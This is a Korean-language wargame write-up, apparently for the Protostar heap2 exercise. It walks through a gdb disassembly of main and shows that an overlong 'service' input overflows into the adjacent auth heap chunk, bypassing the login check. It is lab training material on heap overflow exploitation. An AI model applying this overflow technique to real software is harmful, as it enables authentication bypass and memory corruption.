(gdb) disas main
Dump of assembler code for function main:
0x08048934 <main+0>: push ebp
0x08048935 <main+1>: mov ebp,esp
0x08048937 <main+3>: and esp,0xfffffff0
0x0804893a <main+6>: sub esp,0x90
0x08048940 <main+12>: jmp 0x8048943 <main+15>
0x08048942 <main+14>: nop
0x08048943 <main+15>: mov ecx,DWORD PTR ds:0x804b5f8
0x08048949 <main+21>: mov edx,DWORD PTR ds:0x804b5f4
0x0804894f <main+27>: mov eax,0x804ad70
0x08048954 <main+32>: mov DWORD PTR [esp+0x8],ecx
0x08048958 <main+36>: mov DWORD PTR [esp+0x4],edx
0x0804895c <main+40>: mov DWORD PTR [esp],eax
0x0804895f <main+43>: call 0x804881c <printf@plt>
(gdb) x/s 0x804ad70
0x804ad70: "[ auth = %p, service = %p ]\n"
(gdb) x/s 0x804b5f4
0x804b5f4 <auth>: ""
(gdb) x/s 0x804b5f8
0x804b5f8 <service>: ""
변수
0x08048964 <main+48>: mov eax,ds:0x804b164
0x08048969 <main+53>: mov DWORD PTR [esp+0x8],eax
0x0804896d <main+57>: mov DWORD PTR [esp+0x4],0x80
0x08048975 <main+65>: lea eax,[esp+0x10]
0x08048979 <main+69>: mov DWORD PTR [esp],eax
0x0804897c <main+72>: call 0x80487ac <fgets@plt>
fgets(char *str, int size, file *stream)
fgets(buffer(esp+0x10), 0x80, stdin)
버퍼에서 0x80만큼 입력받습니다.
0x08048981 <main+77>: test eax,eax
0x08048983 <main+79>: jne 0x8048987 <main+83>
0x08048985 <main+81>: leave
0x08048986 <main+82>: ret
0x08048987 <main+83>: mov DWORD PTR [esp+0x8],0x5
0x0804898f <main+91>: mov DWORD PTR [esp+0x4],0x804ad8d
0x08048997 <main+99>: lea eax,[esp+0x10]
0x0804899b <main+103>: mov DWORD PTR [esp],eax
0x0804899e <main+106>: call 0x804884c <strncmp@plt>
"auth"랑 버퍼 값 5byte랑 비교함.
0x080489a3 <main+111>: test eax,eax
0x080489a5 <main+113>: jne 0x8048a01 <main+205>
0x080489a7 <main+115>: mov DWORD PTR [esp],0x4
0x080489ae <main+122>: call 0x804916a <malloc>
틀리면 main+205로 가고 맞으면 4byte 할당함
0x080489b3 <main+127>: mov ds:0x804b5f4,eax
0x080489b8 <main+132>: mov eax,ds:0x804b5f4
0x080489bd <main+137>: mov DWORD PTR [esp+0x8],0x4
0x080489c5 <main+145>: mov DWORD PTR [esp+0x4],0x0
0x080489cd <main+153>: mov DWORD PTR [esp],eax
0x080489d0 <main+156>: call 0x80487bc <memset@plt>
void *memset(void * ptr, int value, size_t num);
memset(auth, 0x0, 0x4)
0x080489d5 <main+161>: lea eax,[esp+0x10]
0x080489d9 <main+165>: add eax,0x5
0x080489dc <main+168>: mov DWORD PTR [esp],eax
0x080489df <main+171>: call 0x80487fc <strlen@plt>
"auth"다음에 입력한 값 길이를 리턴
0x080489e4 <main+176>: cmp eax,0x1e
0x080489e7 <main+179>: ja 0x8048a01 <main+205>
내가 입력한 값이 0x1e보다 작거나 같아야함 크면 쩜프
0x080489e9 <main+181>: lea eax,[esp+0x10]
0x080489ed <main+185>: lea edx,[eax+0x5]
0x080489f0 <main+188>: mov eax,ds:0x804b5f4
0x080489f5 <main+193>: mov DWORD PTR [esp+0x4],edx
0x080489f9 <main+197>: mov DWORD PTR [esp],eax
0x080489fc <main+200>: call 0x804880c <strcpy@plt>
edx에는 "auth"다음에 입력한 값 들어가고 eax에는 auth struct의 첫번째 변수의 주소가 박힘.
"auth" 다음에 입력한 값이 거기에 들어간다 이말이겠지
0x08048a01 <main+205>: mov DWORD PTR [esp+0x8],0x5
0x08048a09 <main+213>: mov DWORD PTR [esp+0x4],0x804ad93
0x08048a11 <main+221>: lea eax,[esp+0x10]
0x08048a15 <main+225>: mov DWORD PTR [esp],eax
0x08048a18 <main+228>: call 0x804884c <strncmp@plt>
strncmp(buffer, "reset", 0x5)
0x08048a1d <main+233>: test eax,eax
0x08048a1f <main+235>: jne 0x8048a2e <main+250>
이것도 다르면 점프해버림
0x08048a21 <main+237>: mov eax,ds:0x804b5f4
0x08048a26 <main+242>: mov DWORD PTR [esp],eax
0x08048a29 <main+245>: call 0x804999c <free>
아까 auth 거기 공간을 free 시킴
0x08048a2e <main+250>: mov DWORD PTR [esp+0x8],0x6
0x08048a36 <main+258>: mov DWORD PTR [esp+0x4],0x804ad99
0x08048a3e <main+266>: lea eax,[esp+0x10]
0x08048a42 <main+270>: mov DWORD PTR [esp],eax
0x08048a45 <main+273>: call 0x804884c <strncmp@plt>
이것두 service랑 같은지 비교
0x08048a4a <main+278>: test eax,eax
0x08048a4c <main+280>: jne 0x8048a62 <main+302>
다르면 점프하는데 점프하는곳이 좀 다름 ㄱㄱ
0x08048a4e <main+282>: lea eax,[esp+0x10]
0x08048a52 <main+286>: add eax,0x7
0x08048a55 <main+289>: mov DWORD PTR [esp],eax
0x08048a58 <main+292>: call 0x804886c <strdup@plt>
0x08048a5d <main+297>: mov ds:0x804b5f8,eax
service 다음에 오는 문자열들 주소를 반환해서 service 변수에 넣음
--> 여기가 service랑 비교했을 때 다르면 점프하는 곳
0x08048a62 <main+302>: mov DWORD PTR [esp+0x8],0x5
0x08048a6a <main+310>: mov DWORD PTR [esp+0x4],0x804ada1
0x08048a72 <main+318>: lea eax,[esp+0x10]
0x08048a76 <main+322>: mov DWORD PTR [esp],eax
0x08048a79 <main+325>: call 0x804884c <strncmp@plt>
login이랑 문자열 비교함
0x08048a7e <main+330>: test eax,eax
0x08048a80 <main+332>: jne 0x8048942 <main+14>
다르면 다시 auth=어쩌고 service는 어쩌고 출력하는 주소로 돌아감 아마 while(True) 문
0x08048a86 <main+338>: mov eax,ds:0x804b5f4
0x08048a8b <main+343>: mov eax,DWORD PTR [eax+0x20]
0x08048a8e <main+346>: test eax,eax
0x08048a90 <main+348>: je 0x8048aa3 <main+367>
auth struct의 첫번째 값을 다시 eax로 가져옴. 거기 주소+0x20으로 가서 값이 0인자 판단함.
0이 아니면 main+367로 점프
0x08048a92 <main+350>: mov DWORD PTR [esp],0x804ada7
0x08048a99 <main+357>: call 0x804883c <puts@plt>
0x08048a9e <main+362>: jmp 0x8048943 <main+15>
이미 로그인 되어있다 출력하고 while(true) 첫위치로
0x08048aa3 <main+367>: mov DWORD PTR [esp],0x804adc3
0x08048aaa <main+374>: call 0x804883c <puts@plt>
0x08048aaf <main+379>: jmp 0x8048943 <main+15>
비번입력해라 하고 첫위치로
음..그냥 보면 service 입력할때 strcpy를 버퍼 체크 제대로 안하고 해줘서 오버플로 일어날것같네요.
실제로 해보면 ~008이 처음 auth할때 들어가는 값이고 ~018이 service 028이 auth 이런식으로 할당이 되고 값이 들어가고하는걸 볼 수 있습니다.
(gdb) x/20x 0x804c008
0x804c008: 0x41414141 0x0000000a 0x00000000 0x00000011
0x804c018: 0x42424220 0x00000a42 0x00000000 0x00000011
0x804c028: 0x61616161 0x0000000a 0x00000000 0x00000fd1
뭐 auth야 길이 체크하니 그렇다치는데 service는 안하니까 auth의 다음에 올 영역을 침범할 수 있겠군요.
그말인 즉 auth structure의 변수 역시 조작할 수 있다는거겠죠?
암튼 service에 아무 값이나 쫘아아악입력해보면 로그인 되는걸 확인할 수 있습니다.
[ auth = 0x804c028, service = 0x804c018 ]
service CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Breakpoint 1, main (argc=1, argv=0xbffff864) at heap2/heap2.c:35
(gdb) x/x 0x804b5f4
0x804b5f4 <auth>: 0x0804c028
(gdb) x/20x 0x804c028+0x20
0x804c048: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb) c
Continuing.
you have logged in already!
[ auth = 0x804c028, service = 0x804c038 ]
실제로도 잘되는지 보겠습니당
[ auth = (nil), service = (nil) ]
auth 123
[ auth = 0x804c008, service = (nil) ]
serviceaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
잘되네요 ㅋㅋ